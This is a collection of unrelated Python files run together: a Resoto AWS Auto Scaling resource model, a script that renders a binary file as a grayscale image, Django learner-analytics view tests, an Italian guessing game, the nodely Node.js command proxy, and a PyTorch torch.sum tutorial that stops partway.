from typing import ClassVar, Dict, Optional, List, Type

from attrs import define, field

from resoto_plugin_aws.resource.base import AwsResource, AwsApiSpec, GraphBuilder
from resoto_plugin_aws.resource.ec2 import AwsEc2Instance
from resoto_plugin_aws.utils import ToDict
from resotolib.baseresources import BaseAutoScalingGroup, ModelReference
from resotolib.json_bender import Bender, S, Bend, ForallBend
from resotolib.types import Json
from resoto_plugin_aws.aws_client import AwsClient

@define(eq=False, slots=False)
class AwsAutoScalingLaunchTemplateSpecification:
    kind: ClassVar[str] = "aws_autoscaling_launch_template_specification"
    mapping: ClassVar[Dict[str, Bender]] = {
        "launch_template_id": S("LaunchTemplateId"),
        "launch_template_name": S("LaunchTemplateName"),
        "version": S("Version"),
    }
    launch_template_id: Optional[str] = field(default=None)
    launch_template_name: Optional[str] = field(default=None)
    version: Optional[str] = field(default=None)

@define(eq=False, slots=False)
class AwsAutoScalingMinMax:
    kind: ClassVar[str] = "aws_autoscaling_min_max"
    mapping: ClassVar[Dict[str, Bender]] = {"min": S("Min"), "max": S("Max")}
    min: Optional[int] = field(default=None)
    max: Optional[int] = field(default=None)

@define(eq=False, slots=False)
class AwsAutoScalingInstanceRequirements:
    kind: ClassVar[str] = "aws_autoscaling_instance_requirements"
    mapping: ClassVar[Dict[str, Bender]] = {
        "v_cpu_count": S("VCpuCount") >> Bend(AwsAutoScalingMinMax.mapping),
        "memory_mi_b": S("MemoryMiB") >> Bend(AwsAutoScalingMinMax.mapping),
        "cpu_manufacturers": S("CpuManufacturers", default=[]),
        "memory_gi_b_per_v_cpu": S("MemoryGiBPerVCpu") >> Bend(AwsAutoScalingMinMax.mapping),
        "excluded_instance_types": S("ExcludedInstanceTypes", default=[]),
        "instance_generations": S("InstanceGenerations", default=[]),
        "spot_max_price_percentage_over_lowest_price": S("SpotMaxPricePercentageOverLowestPrice"),
        "on_demand_max_price_percentage_over_lowest_price": S("OnDemandMaxPricePercentageOverLowestPrice"),
        "bare_metal": S("BareMetal"),
        "burstable_performance": S("BurstablePerformance"),
        "require_hibernate_support": S("RequireHibernateSupport"),
        "network_interface_count": S("NetworkInterfaceCount") >> Bend(AwsAutoScalingMinMax.mapping),
        "local_storage": S("LocalStorage"),
        "local_storage_types": S("LocalStorageTypes", default=[]),
        "total_local_storage_gb": S("TotalLocalStorageGB") >> Bend(AwsAutoScalingMinMax.mapping),
        "baseline_ebs_bandwidth_mbps": S("BaselineEbsBandwidthMbps") >> Bend(AwsAutoScalingMinMax.mapping),
        "accelerator_types": S("AcceleratorTypes", default=[]),
        "accelerator_count": S("AcceleratorCount") >> Bend(AwsAutoScalingMinMax.mapping),
        "accelerator_manufacturers": S("AcceleratorManufacturers", default=[]),
        "accelerator_names": S("AcceleratorNames", default=[]),
        "accelerator_total_memory_mi_b": S("AcceleratorTotalMemoryMiB") >> Bend(AwsAutoScalingMinMax.mapping),
    }
    v_cpu_count: Optional[AwsAutoScalingMinMax] = field(default=None)
    memory_mi_b: Optional[AwsAutoScalingMinMax] = field(default=None)
    cpu_manufacturers: List[str] = field(factory=list)
    memory_gi_b_per_v_cpu: Optional[AwsAutoScalingMinMax] = field(default=None)
    excluded_instance_types: List[str] = field(factory=list)
    instance_generations: List[str] = field(factory=list)
    spot_max_price_percentage_over_lowest_price: Optional[int] = field(default=None)
    on_demand_max_price_percentage_over_lowest_price: Optional[int] = field(default=None)
    bare_metal: Optional[str] = field(default=None)
    burstable_performance: Optional[str] = field(default=None)
    require_hibernate_support: Optional[bool] = field(default=None)
    network_interface_count: Optional[AwsAutoScalingMinMax] = field(default=None)
    local_storage: Optional[str] = field(default=None)
    local_storage_types: List[str] = field(factory=list)
    total_local_storage_gb: Optional[AwsAutoScalingMinMax] = field(default=None)
    baseline_ebs_bandwidth_mbps: Optional[AwsAutoScalingMinMax] = field(default=None)
    accelerator_types: List[str] = field(factory=list)
    accelerator_count: Optional[AwsAutoScalingMinMax] = field(default=None)
    accelerator_manufacturers: List[str] = field(factory=list)
    accelerator_names: List[str] = field(factory=list)
    accelerator_total_memory_mi_b: Optional[AwsAutoScalingMinMax] = field(default=None)

@define(eq=False, slots=False)
class AwsAutoScalingLaunchTemplateOverrides:
    kind: ClassVar[str] = "aws_autoscaling_launch_template_overrides"
    mapping: ClassVar[Dict[str, Bender]] = {
        "instance_type": S("InstanceType"),
        "weighted_capacity": S("WeightedCapacity"),
        "launch_template_specification": S("LaunchTemplateSpecification")
        >> Bend(AwsAutoScalingLaunchTemplateSpecification.mapping),
        "instance_requirements": S("InstanceRequirements") >> Bend(AwsAutoScalingInstanceRequirements.mapping),
    }
    instance_type: Optional[str] = field(default=None)
    weighted_capacity: Optional[str] = field(default=None)
    launch_template_specification: Optional[AwsAutoScalingLaunchTemplateSpecification] = field(default=None)
    instance_requirements: Optional[AwsAutoScalingInstanceRequirements] = field(default=None)

@define(eq=False, slots=False)
class AwsAutoScalingLaunchTemplate:
    kind: ClassVar[str] = "aws_autoscaling_launch_template"
    mapping: ClassVar[Dict[str, Bender]] = {
        "launch_template_specification": S("LaunchTemplateSpecification")
        >> Bend(AwsAutoScalingLaunchTemplateSpecification.mapping),
        "overrides": S("Overrides", default=[]) >> ForallBend(AwsAutoScalingLaunchTemplateOverrides.mapping),
    }
    launch_template_specification: Optional[AwsAutoScalingLaunchTemplateSpecification] = field(default=None)
    overrides: List[AwsAutoScalingLaunchTemplateOverrides] = field(factory=list)

@define(eq=False, slots=False)
class AwsAutoScalingInstancesDistribution:
    kind: ClassVar[str] = "aws_autoscaling_instances_distribution"
    mapping: ClassVar[Dict[str, Bender]] = {
        "on_demand_allocation_strategy": S("OnDemandAllocationStrategy"),
        "on_demand_base_capacity": S("OnDemandBaseCapacity"),
        "on_demand_percentage_above_base_capacity": S("OnDemandPercentageAboveBaseCapacity"),
        "spot_allocation_strategy": S("SpotAllocationStrategy"),
        "spot_instance_pools": S("SpotInstancePools"),
        "spot_max_price": S("SpotMaxPrice"),
    }
    on_demand_allocation_strategy: Optional[str] = field(default=None)
    on_demand_base_capacity: Optional[int] = field(default=None)
    on_demand_percentage_above_base_capacity: Optional[int] = field(default=None)
    spot_allocation_strategy: Optional[str] = field(default=None)
    spot_instance_pools: Optional[int] = field(default=None)
    spot_max_price: Optional[str] = field(default=None)

@define(eq=False, slots=False)
class AwsAutoScalingMixedInstancesPolicy:
    kind: ClassVar[str] = "aws_autoscaling_mixed_instances_policy"
    mapping: ClassVar[Dict[str, Bender]] = {
        "launch_template": S("LaunchTemplate") >> Bend(AwsAutoScalingLaunchTemplate.mapping),
        "instances_distribution": S("InstancesDistribution") >> Bend(AwsAutoScalingInstancesDistribution.mapping),
    }
    launch_template: Optional[AwsAutoScalingLaunchTemplate] = field(default=None)
    instances_distribution: Optional[AwsAutoScalingInstancesDistribution] = field(default=None)

@define(eq=False, slots=False)
class AwsAutoScalingInstance:
    kind: ClassVar[str] = "aws_autoscaling_instance"
    mapping: ClassVar[Dict[str, Bender]] = {
        "instance_id": S("InstanceId"),
        "instance_type": S("InstanceType"),
        "availability_zone": S("AvailabilityZone"),
        "lifecycle_state": S("LifecycleState"),
        "health_status": S("HealthStatus"),
        "launch_configuration_name": S("LaunchConfigurationName"),
        "launch_template": S("LaunchTemplate") >> Bend(AwsAutoScalingLaunchTemplateSpecification.mapping),
        "protected_from_scale_in": S("ProtectedFromScaleIn"),
        "weighted_capacity": S("WeightedCapacity"),
    }
    instance_id: Optional[str] = field(default=None)
    instance_type: Optional[str] = field(default=None)
    availability_zone: Optional[str] = field(default=None)
    lifecycle_state: Optional[str] = field(default=None)
    health_status: Optional[str] = field(default=None)
    launch_configuration_name: Optional[str] = field(default=None)
    launch_template: Optional[AwsAutoScalingLaunchTemplateSpecification] = field(default=None)
    protected_from_scale_in: Optional[bool] = field(default=None)
    weighted_capacity: Optional[str] = field(default=None)

@define(eq=False, slots=False)
class AwsAutoScalingSuspendedProcess:
    kind: ClassVar[str] = "aws_autoscaling_suspended_process"
    mapping: ClassVar[Dict[str, Bender]] = {
        "process_name": S("ProcessName"),
        "suspension_reason": S("SuspensionReason"),
    }
    process_name: Optional[str] = field(default=None)
    suspension_reason: Optional[str] = field(default=None)

@define(eq=False, slots=False)
class AwsAutoScalingEnabledMetric:
    kind: ClassVar[str] = "aws_autoscaling_enabled_metric"
    mapping: ClassVar[Dict[str, Bender]] = {"metric": S("Metric"), "granularity": S("Granularity")}
    metric: Optional[str] = field(default=None)
    granularity: Optional[str] = field(default=None)

@define(eq=False, slots=False)
class AwsAutoScalingWarmPoolConfiguration:
    kind: ClassVar[str] = "aws_autoscaling_warm_pool_configuration"
    mapping: ClassVar[Dict[str, Bender]] = {
        "max_group_prepared_capacity": S("MaxGroupPreparedCapacity"),
        "min_size": S("MinSize"),
        "pool_state": S("PoolState"),
        "status": S("Status"),
        "instance_reuse_policy": S("InstanceReusePolicy", "ReuseOnScaleIn"),
    }
    max_group_prepared_capacity: Optional[int] = field(default=None)
    min_size: Optional[int] = field(default=None)
    pool_state: Optional[str] = field(default=None)
    status: Optional[str] = field(default=None)
    instance_reuse_policy: Optional[bool] = field(default=None)

@define(eq=False, slots=False)
class AwsAutoScalingGroup(AwsResource, BaseAutoScalingGroup):
    kind: ClassVar[str] = "aws_autoscaling_group"
    api_spec: ClassVar[AwsApiSpec] = AwsApiSpec("autoscaling", "describe-auto-scaling-groups", "AutoScalingGroups")
    reference_kinds: ClassVar[ModelReference] = {
        "successors": {"default": ["aws_ec2_instance"]},
        "predecessors": {"delete": ["aws_ec2_instance"]},
    }
    mapping: ClassVar[Dict[str, Bender]] = {
        "id": S("AutoScalingGroupName"),
        "tags": S("Tags", default=[]) >> ToDict(),
        "name": S("AutoScalingGroupName"),
        "ctime": S("CreatedTime"),
        "arn": S("AutoScalingGroupARN"),
        "autoscaling_launch_configuration_name": S("LaunchConfigurationName"),
        "autoscaling_launch_template": S("LaunchTemplate") >> Bend(AwsAutoScalingLaunchTemplateSpecification.mapping),
        "autoscaling_mixed_instances_policy": S("MixedInstancesPolicy")
        >> Bend(AwsAutoScalingMixedInstancesPolicy.mapping),
        "min_size": S("MinSize"),
        "max_size": S("MaxSize"),
        "autoscaling_desired_capacity": S("DesiredCapacity"),
        "autoscaling_predicted_capacity": S("PredictedCapacity"),
        "autoscaling_default_cooldown": S("DefaultCooldown"),
        "autoscaling_availability_zones": S("AvailabilityZones", default=[]),
        "autoscaling_load_balancer_names": S("LoadBalancerNames", default=[]),
        "autoscaling_target_group_ar_ns": S("TargetGroupARNs", default=[]),
        "autoscaling_health_check_type": S("HealthCheckType"),
        "autoscaling_health_check_grace_period": S("HealthCheckGracePeriod"),
        "autoscaling_instances": S("Instances", default=[]) >> ForallBend(AwsAutoScalingInstance.mapping),
        "autoscaling_suspended_processes": S("SuspendedProcesses", default=[])
        >> ForallBend(AwsAutoScalingSuspendedProcess.mapping),
        "autoscaling_placement_group": S("PlacementGroup"),
        "autoscaling_vpc_zone_identifier": S("VPCZoneIdentifier"),
        "autoscaling_enabled_metrics": S("EnabledMetrics", default=[])
        >> ForallBend(AwsAutoScalingEnabledMetric.mapping),
        "autoscaling_status": S("Status"),
        "autoscaling_termination_policies": S("TerminationPolicies", default=[]),
        "autoscaling_new_instances_protected_from_scale_in": S("NewInstancesProtectedFromScaleIn"),
        "autoscaling_service_linked_role_arn": S("ServiceLinkedRoleARN"),
        "autoscaling_max_instance_lifetime": S("MaxInstanceLifetime"),
        "autoscaling_capacity_rebalance": S("CapacityRebalance"),
        "autoscaling_warm_pool_configuration": S("WarmPoolConfiguration")
        >> Bend(AwsAutoScalingWarmPoolConfiguration.mapping),
        "autoscaling_warm_pool_size": S("WarmPoolSize"),
        "autoscaling_context": S("Context"),
        "autoscaling_desired_capacity_type": S("DesiredCapacityType"),
        "autoscaling_default_instance_warmup": S("DefaultInstanceWarmup"),
    }
    autoscaling_launch_configuration_name: Optional[str] = field(default=None)
    autoscaling_launch_template: Optional[AwsAutoScalingLaunchTemplateSpecification] = field(default=None)
    autoscaling_mixed_instances_policy: Optional[AwsAutoScalingMixedInstancesPolicy] = field(default=None)
    autoscaling_predicted_capacity: Optional[int] = field(default=None)
    autoscaling_default_cooldown: Optional[int] = field(default=None)
    autoscaling_availability_zones: List[str] = field(factory=list)
    autoscaling_load_balancer_names: List[str] = field(factory=list)
    autoscaling_target_group_ar_ns: List[str] = field(factory=list)
    autoscaling_health_check_type: Optional[str] = field(default=None)
    autoscaling_health_check_grace_period: Optional[int] = field(default=None)
    autoscaling_instances: List[AwsAutoScalingInstance] = field(factory=list)
    autoscaling_suspended_processes: List[AwsAutoScalingSuspendedProcess] = field(factory=list)
    autoscaling_placement_group: Optional[str] = field(default=None)
    autoscaling_vpc_zone_identifier: Optional[str] = field(default=None)
    autoscaling_enabled_metrics: List[AwsAutoScalingEnabledMetric] = field(factory=list)
    autoscaling_status: Optional[str] = field(default=None)
    autoscaling_termination_policies: List[str] = field(factory=list)
    autoscaling_new_instances_protected_from_scale_in: Optional[bool] = field(default=None)
    autoscaling_service_linked_role_arn: Optional[str] = field(default=None)
    autoscaling_max_instance_lifetime: Optional[int] = field(default=None)
    autoscaling_capacity_rebalance: Optional[bool] = field(default=None)
    autoscaling_warm_pool_configuration: Optional[AwsAutoScalingWarmPoolConfiguration] = field(default=None)
    autoscaling_warm_pool_size: Optional[int] = field(default=None)
    autoscaling_context: Optional[str] = field(default=None)
    autoscaling_desired_capacity_type: Optional[str] = field(default=None)
    autoscaling_default_instance_warmup: Optional[int] = field(default=None)

    def connect_in_graph(self, builder: GraphBuilder, source: Json) -> None:
        for instance in self.autoscaling_instances:
            builder.dependant_node(self, clazz=AwsEc2Instance, id=instance.instance_id)

    def update_resource_tag(self, client: AwsClient, key: str, value: str) -> bool:
        client.call(
            aws_service="autoscaling",
            action="create-or-update-tags",
            result_name=None,
            Tags=[
                {
                    "ResourceId": self.name,
                    "ResourceType": "auto-scaling-group",
                    "Key": key,
                    "Value": value,
                    "PropagateAtLaunch": False,
                }
            ],
        )
        return True

    def delete_resource_tag(self, client: AwsClient, key: str) -> bool:
        client.call(
            aws_service="autoscaling",
            action="delete-tags",
            result_name=None,
            Tags=[
                {
                    "ResourceId": self.name,
                    "ResourceType": "auto-scaling-group",
                    "Key": key,
                }
            ],
        )
        return True

    def delete_resource(self, client: AwsClient) -> bool:
        client.call(
            aws_service=self.api_spec.service,
            action="delete-auto-scaling-group",
            result_name=None,
            AutoScalingGroupName=self.name,
            ForceDelete=True,
        )
        return True

    @classmethod
    def called_mutator_apis(cls) -> List[AwsApiSpec]:
        return [
            AwsApiSpec("autoscaling", "create-or-update-tags"),
            AwsApiSpec("autoscaling", "delete-tags"),
            AwsApiSpec("autoscaling", "delete-auto-scaling-group"),
        ]

resources: List[Type[AwsResource]] = [AwsAutoScalingGroup]


import sys
import cv2
import numpy as np

W = 192
H = 230

np.set_printoptions(threshold=np.inf)

def binRet(mImg):
	with open(sys.argv[1], 'rb') as f:
		for i in range(H):
			for j in range(W):
				l = map(lambda x: "%02x" % ord(x), f.read(1))
				if not l: break
				s = "".join(l)
				mImg[i][j] = int(s, 16)
	return mImg

if __name__=="__main__":
	img = np.zeros((H, W, 1), np.uint8)
	img = binRet(img)
	cv2.namedWindow('image')
	cv2.imwrite('mal_Img.png', img)

	while(1):
		cv2.imshow('image', img)
		k = cv2.waitKey(1) & 0xFF
		if k == 27: break

	cv2.destroyAllWindows()


class Solution:
    # @param n, an integer
    # @return an integer
    def reverseBits(self, n):
        x = 0
        for _ in range(32):
            x = x << 1
            x |= (n & 1)

            n = n >> 1

        return x


import json
import logging

import unittest.mock as mock
import httpretty
from ddt import data, ddt
from django.conf import settings
from django.test import TestCase
from django.test.utils import override_settings
from requests.exceptions import ConnectionError as RequestsConnectionError
from requests.exceptions import Timeout
from testfixtures import LogCapture
from waffle.testutils import override_flag, override_switch

from analytics_dashboard.courses.tests.test_views import ViewTestMixin
from analytics_dashboard.courses.tests.utils import assert_dict_contains_subset, CourseSamples

@httpretty.activate
@override_flag('display_learner_analytics', active=True)
@ddt
class LearnersViewTests(ViewTestMixin, TestCase):
    TABLE_ERROR_TEXT = 'We are unable to load this table.'
    viewname = 'courses:learners:learners'

    def _register_uris(self, learners_status, learners_payload, course_metadata_status, course_metadata_payload):
        httpretty.register_uri(
            httpretty.GET,
            f'{settings.DATA_API_URL}/learners/',
            body=json.dumps(learners_payload),
            status=learners_status
        )
        httpretty.register_uri(
            httpretty.GET,
            '{data_api_url}/course_learner_metadata/{course_id}/'.format(
                data_api_url=settings.DATA_API_URL,
                course_id=CourseSamples.DEMO_COURSE_ID,
            ),
            body=json.dumps(course_metadata_payload),
            status=course_metadata_status
        )
        self.addCleanup(httpretty.reset)

    def _get(self):
        return self.client.get(self.path(course_id=CourseSamples.DEMO_COURSE_ID))

    def _assert_context(self, response, expected_context_subset):
        default_expected_context_subset = {
            'learner_list_url': '/api/learner_analytics/v0/learners/',
            'course_learner_metadata_url': '/api/learner_analytics/v0/course_learner_metadata/{course_id}/'.format(
                course_id=CourseSamples.DEMO_COURSE_ID
            ),
        }
        assert_dict_contains_subset(response.context, dict(list(expected_context_subset.items())))
        assert_dict_contains_subset(
            response.context['js_data']['course'],
            dict(list(default_expected_context_subset.items())),
        )

    def get_mock_data(self, *args, **kwargs):
        pass

    def test_success(self):
        learners_payload = {'arbitrary_learners_key': ['arbitrary_value_1', 'arbitrary_value_2']}
        course_metadata_payload = {'arbitrary_metadata_value': {'arbitrary_value_1': 'arbitrary_value_2'}}
        self._register_uris(200, learners_payload, 200, course_metadata_payload)
        response = self._get()
        self._assert_context(response, {
            'learner_list_json': learners_payload,
            'course_learner_metadata_json': course_metadata_payload
        })
        self.assertNotContains(response, self.TABLE_ERROR_TEXT)
        return response

    @override_flag('display_learner_analytics', active=False)
    def test_success_if_hidden(self):
        self.test_success()

    @override_switch('enable_learner_download', active=False)
    def test_disable_learner_download_button(self):
        response = self.test_success()
        self.assertNotIn('learner_list_download_url', response.context['js_data']['course'])

    @override_switch('enable_learner_download', active=True)
    @override_settings(LEARNER_API_LIST_DOWNLOAD_FIELDS=None)
    def test_enable_learner_download_button(self):
        response = self.test_success()
        self.assertEqual(response.context['js_data']['course']['learner_list_download_url'],
                         '/api/learner_analytics/v0/learners.csv')

    @override_switch('enable_learner_download', active=True)
    @override_settings(LEARNER_API_LIST_DOWNLOAD_FIELDS='username,email')
    def test_enable_learner_download_button_with_fields(self):
        response = self.test_success()
        self.assertEqual(response.context['js_data']['course']['learner_list_download_url'],
                         '/api/learner_analytics/v0/learners.csv?fields=username%2Cemail')

    @data(Timeout, RequestsConnectionError, ValueError)
    def test_data_api_error(self, RequestExceptionClass):
        learners_payload = {'should_not': 'return this value'}
        course_metadata_payload = learners_payload
        self._register_uris(200, learners_payload, 200, course_metadata_payload)

        # False positive https://github.com/PyCQA/pylint/issues/289
        # pylint: disable=bad-continuation
        with mock.patch(
            'analytics_dashboard.learner_analytics_api.v0.clients.LearnerApiResource.get',
            mock.Mock(side_effect=RequestExceptionClass),
        ):
            with LogCapture(level=logging.ERROR) as lc:
                response = self._get()
                self._assert_context(response, {
                    'learner_list_json': 'Failed to reach the Learner List endpoint',
                    'course_learner_metadata_json': 'Failed to reach the Course Learner Metadata endpoint'
                })
                lc.check(
                    (
                        'analytics_dashboard.courses.views.learners',
                        'ERROR',
                        'Failed to reach the Learner List endpoint',
                    ),
                    (
                        'analytics_dashboard.courses.views.learners',
                        'ERROR',
                        'Failed to reach the Course Learner Metadata endpoint',
                    ),
                )


from networksRank import reddit

class redditModel(object):

	def __init__(self, result):
		self.id = result.get('name')
		self.url = result.get('url')
		self.num_comments = result.get('num_comments')
		self.ups = result.get('ups')
		self.downs = result.get('downs')
		self.title = result.get('title')

	def getNewsList(self):
		dictionary = {}
		dictionary['url'] = self.url
		dictionary['score'] = reddit.NEWSscore(self.ups, self.downs, self.num_comments)
		dictionary['title'] = self.title
		return dictionary


import cv2 as cv
import numpy as np
# Get a blank image
blank_img = np.zeros((512, 512, 3), np.uint8)

# Changing Bakground of a Blannk Image
blank_img[:] = (0, 255, 0)

# Draw a line
cv.line(blank_img, (0, 0), (511, 511), (255, 0, 0), 5)

# Draw a rectangle
cv.rectangle(blank_img, (384, 0), (510, 128), (0, 0, 0), 3)

# Draw a circle
cv.circle(blank_img, (447, 63), 63, (0, 0, 255), -1)

# Write text on image
cv.putText(blank_img, 'OpenCV', (10, 500), cv.FONT_HERSHEY_SIMPLEX, 4, (255, 255, 255), 2, cv.LINE_AA)

cv.imshow('Image',blank_img)
cv.waitKey(0)


#Indovina numero

#IMPORT
import random

#INPUT NOME

nome = input ('inserisci il tuo nome : ')
nome
print(f'il nome inserito è : {nome}, è correttò?')

#CHECK NAME INPUT
checknome = input('s/n ? : ')

while (checknome !="n"):
   if (checknome == "s"):
      break
   print ("ops! Non ho capito, insierisci la lettera \"s\" se il nome è giusto o \"n\" se vuoi cambiare nome ")

   print(f'il nome inserito è : {nome}, è corretto?')

   checknome = input('s/n ? : ')

   while checknome == "n":
      print ("ops! Riproviamo... inserisci il tuo nome ")
      nome = input ('inserisci il tuo nome : ')
      print(f'il nome inserito è : {nome}, è corretto?')
      checknome = input('s/n ? : ')
      if (checknome == "s"):
         break

#GAME START

checknome = input('s/n ? : ')

while (checknome !="n" and checknome != "s"):
   print ("ops! Non ho capito, insierisci la lettera s se il nome è giusto o n se vuoi cambiare nome ")

   print(f'il nome inserito è : {nome}, è correttò?')

   checknome = input('s/n ? : ')

while checknome == "n":
   print ("ops! Riproviamo... inserisci il tuo nome ")
   nome = input ('inserisci il tuo nome : ')

   print(f'il nome inserito è : {nome}, è correttò?')

   checknome = input('s/n ? : ')

print(f"ok {nome}, ti va di fare un gioco, si chiama indovina numero \ns/n?")

check_play= input(" ")

level = 0
new_level = 0

#ciao

while check_play == "s":

   if level == 0:
      level = input ("Scegli il livello di difficoltà da 1 a 10, 1=facile, 10=difficile: ")

   else:
      level=level

   assegnazione_livello = {
      "1": "super facilissimo",
      "2": "facilissimo",
      "3": "Balotta",
      "4": "Facilone",
      "5": "Polleg",
      "6": "Umarell",
      "7": "Vèz",
      "8": "Boia de",
      "9" : "Rusco",
      "10": "Soccia"}

   print(f"hai scelto il livello : {assegnazione_livello.get(level)}")
   numero_utente = input (f"Benissimo! Prova a indovinare a cosa sto pensando, inserisci un numero da 1 a {level} : ")

   numero_intero_casuale = random.randint(1,int(level))

while check_play == "s":

   numero_utente = input ('Benissimo! Prova a indovinare a cosa sto pensando, inserisci un numero da 1 a 5 : ')

   numero_intero_casuale = random.randint(1,5)

   tentativo = 0

   while numero_intero_casuale != int(numero_utente):
      if numero_intero_casuale < int(numero_utente):
         print ('Mi dispiace, hai sbagliato, un piccolo suggerimento, il numero che ho pensato è inferiore, riprova.')
      else:
         print ('Mi dispiace, hai sbagliato, un piccolo suggerimento, il numero che ho pensato è maggiore, riprova.')

      tentativo=tentativo+1
      numero_utente = input ('inserisci un numero : ')

   tentativo = tentativo+1

   print (f"Complimenti! Hai indovinato il numero dopo {tentativo} tentativi! Vuoi giocare ancora? \n s/n ?")

   check_play= input("")

   if check_play=="s":
      print("Di quanti livelli vuoi aumentare o diminuire la difficoltà?")
      new_level=input("")
      level=(int(level)+int(new_level))
      print (level)
   else:
      check_play == 0

   tentativo = tentativo+1

   print (f"Complimenti! Hai indovinato il numero dopo {tentativo} tentativi! Vuoi giocare ancora? \n s/n ?")
   check_play= input(" ")

print('Va bene, alla prossima!')


# nodely >>> putMORE Node.js into Python
#
# Copyright (C) 2017 Stefan Zimmermann <user@zimmermann.co>
#
# nodely is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# nodely is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with nodely.  If not, see <http://www.gnu.org/licenses/>.

"""
nodely.bin

Command proxy to the ``node_modules/.bin/`` directory
"""

from subprocess import CalledProcessError, PIPE
from types import ModuleType
import os
import platform
import sys

from path import Path
import zetup

from nodely import NODE_MODULES_DIR

from .error import NodeCommandError

zetup.module(
    __name__, ['Command'],
    __getitem__=lambda cmdname: __getitem__(cmdname),
    __getattr__=lambda name: __getattr__(name),
    __dir__=lambda: __dir__())

#: Running on Windows?
WIN = platform.system() == 'Windows'

def __getitem__(cmdname):
    """
    Get a :class:`nodely.bin.Command` instance for given `cmdname`.

    :raises OSError: if executable can not be found
    """
    return Command(cmdname)

def __getattr__(name):
    """
    Get a :class:`nodely.bin.Command` instance for given command `name`.

    :raises OSError: if executable cannot be found
    """
    try:
        return __getitem__(name)

    except (IOError, OSError) as exc:
        raise AttributeError(str(exc))

def __dir__():
    cmdnames = (f.basename() for f in (NODE_MODULES_DIR / '.bin').files())
    if WIN:  # pragma: no cover
        cmdnames = (cmd for cmd in cmdnames if cmd.ext.lower() != '.cmd')
    return list(cmdnames)

class Command(zetup.object, Path):
    """
    A Node.js executable from current Python environment.

    Residing in ``node_modules/.bin/``
    """

    def __new__(cls, name):
        """
        Check existance and store absolute path in ``path.Path`` base.

        :param name:
            The basename of the executable in ``node_modules/.bin``
        :raises OSError:
            if executable cannot be found
        """
        if WIN:  # pragma: no cover
            name += '.cmd'
        cmd = Path.__new__(cls, NODE_MODULES_DIR / '.bin' / name)
        cmd.atime  # HACK: raises OSError if not existing
        return cmd

    def __init__(self, name):
        """:meth:`.__new__` does all the work :)."""
        pass

    @property
    def name(self):
        """Get the name of this Node.js command."""
        name = Path(self).basename()
        if WIN:  # pragma: no cover
            # remove .cmd file extension
            name = name.splitext(  # pylint: disable=no-value-for-parameter
            )[0]
        return str(name)

    def Popen(self, cmdargs=None, **options):
        """
        Create a ``subprocess`` for this Node.js command.

        :param cmdargs:
            Optional sequence of command argument strings.
        :param options:
            General options for ``zetup.call``, including all options for
            ``subprocess.call``.
        """
        command = [str(self)]
        if cmdargs is not None:
            command += cmdargs
        return zetup.Popen(command, **options)

    def call(self, cmdargs=None, **options):
        """
        Call this Node.js command.

        :param cmdargs:
            Optional sequence of command argument strings.
        :param options:
            General options for ``zetup.call``, including all options for
            ``subprocess.call``.
        """
        command = [str(self)]
        if cmdargs is not None:
            command += cmdargs
        return zetup.call(command, **options)

    def check_call(self, cmdargs=None, **options):
        """
        Call this Node.js command and check its return code.

        :param cmdargs:
            Optional sequence of command argument strings.
        :param options:
            General options for ``zetup.call``, including all options for
            ``subprocess.call``.

        :raises subprocess.CalledProcessError:
            When return code is not zero.
        """
        command = [str(self)]
        if cmdargs is not None:
            command += cmdargs

        returncode = zetup.call(command, **options)
        if returncode:
            raise NodeCommandError(returncode, command, os.getcwd())

    def check_output(self, cmdargs=None, **options):
        """
        Call this Node.js command, check return code, and return its stdout.

        :param cmdargs:
            Optional sequence of command argument strings.
        :param options:
            General options for ``zetup.call``, including all options for
            ``subprocess.call``.

        :raises subprocess.CalledProcessError:
            When return code is not zero.
        """
        command = [str(self)]
        if cmdargs is not None:
            command += cmdargs

        process = zetup.Popen(command, stdout=PIPE, **options)
        out, _ = process.communicate()
        if process.returncode:
            raise NodeCommandError(process.returncode, command, os.getcwd())

        return out

    def __call__(self, *cmdargs, **kwargs):
        """
        Alternative to :meth:`.check_output`.

        Takes `cmdargs` as varargs instead of a sequence parameter
        """
        return self.check_output(cmdargs, **kwargs)

    def __repr__(self):
        return "{}[{!r}]".format(__name__, self.name)


__name__ = 'Disclosing Cycle'

def perform_test(kwargs):
    """
    Check if there is a SCC of G that contains an edge
    from an input state that outputs insample or insample′.
    """

    aug_graph_b_0_scc_subgraphs = kwargs['aug_graph_b_0_scc_subgraphs']
    graph = kwargs['graph']

    for subgraph in aug_graph_b_0_scc_subgraphs:
        edges = subgraph.es.select(output_in=["insample", "insampleprime"])
        for edge in edges:
            if not graph.vs[edge.source_vertex['initial_graph_index']]['non-input']:
                return {
                    'name': __name__,
                    'result': True
                }

    return {
        'name': __name__,
        'result': False
    }


import torch

# one thing thats quite confusing when working with torch is the idea of DIM or axis
# This article does a good job of explaining it:
# https://towardsdatascience.com/understanding-dimensions-in-pytorch-6edf9972d3be

#simple example
x = torch.tensor([1, 2, 3])
s = torch.sum(x)
assert(6 == s)

## Official
## torch.sum(input, dim, keepdim=False, dtype=None) → Tensor
## Returns the sum of each row of the input tensor in the given dimension dim.
## What the heck does this mean?
## example:

x = torch.tensor([
     [1, 2, 3],
     [4, 5, 6]
   ])

print(x.shape)  # torch.Size([2, 3])

# The way to understand the 'dim' of torch sum is that it collapses the specified axis.
# So when it collapses the axis/dim 0 (the row), it becomes just one row (it sums column-wise).
# When it collapses the axis/dim 1 (the column), it becomes just one column (it sums row-wise).

# e.g.
dim0 = torch.sum(x, dim=0)  # collapse rows
print(dim0) # tensor([5, 7, 9])

dim1 = torch.sum(x, dim=1)  # collapse columns
print(dim1) # tensor([ 6, 15])

# you can also pass two dims to the function to collapse BOTH rows and columns
dim0_1 = torch.sum(x, dim=[0,1])
print(dim0_1)  # tensor(21)

## 3d - 3d gets more confusing, the z axis takes over as dim=0.
y = torch.tensor([
     [
       [1, 2, 3],
       [4, 5, 6]
     ],
     [
       [7, 8, 9],
       [10, 11, 12]
     ],
     [
       [13, 14, 15],
       [16, 17, 18]
     ]
   ])
print(y.shape)  # torch.Size([3, 2, 3])

# sum and collapse along the z axis (matrix wise)
y0 = torch.sum(y, dim=0)
print(y0)    # tensor([[21, 24, 27],
             #         [30, 33, 36]])

# sum and collapse row wise
y1 = torch.sum(y, dim=1)
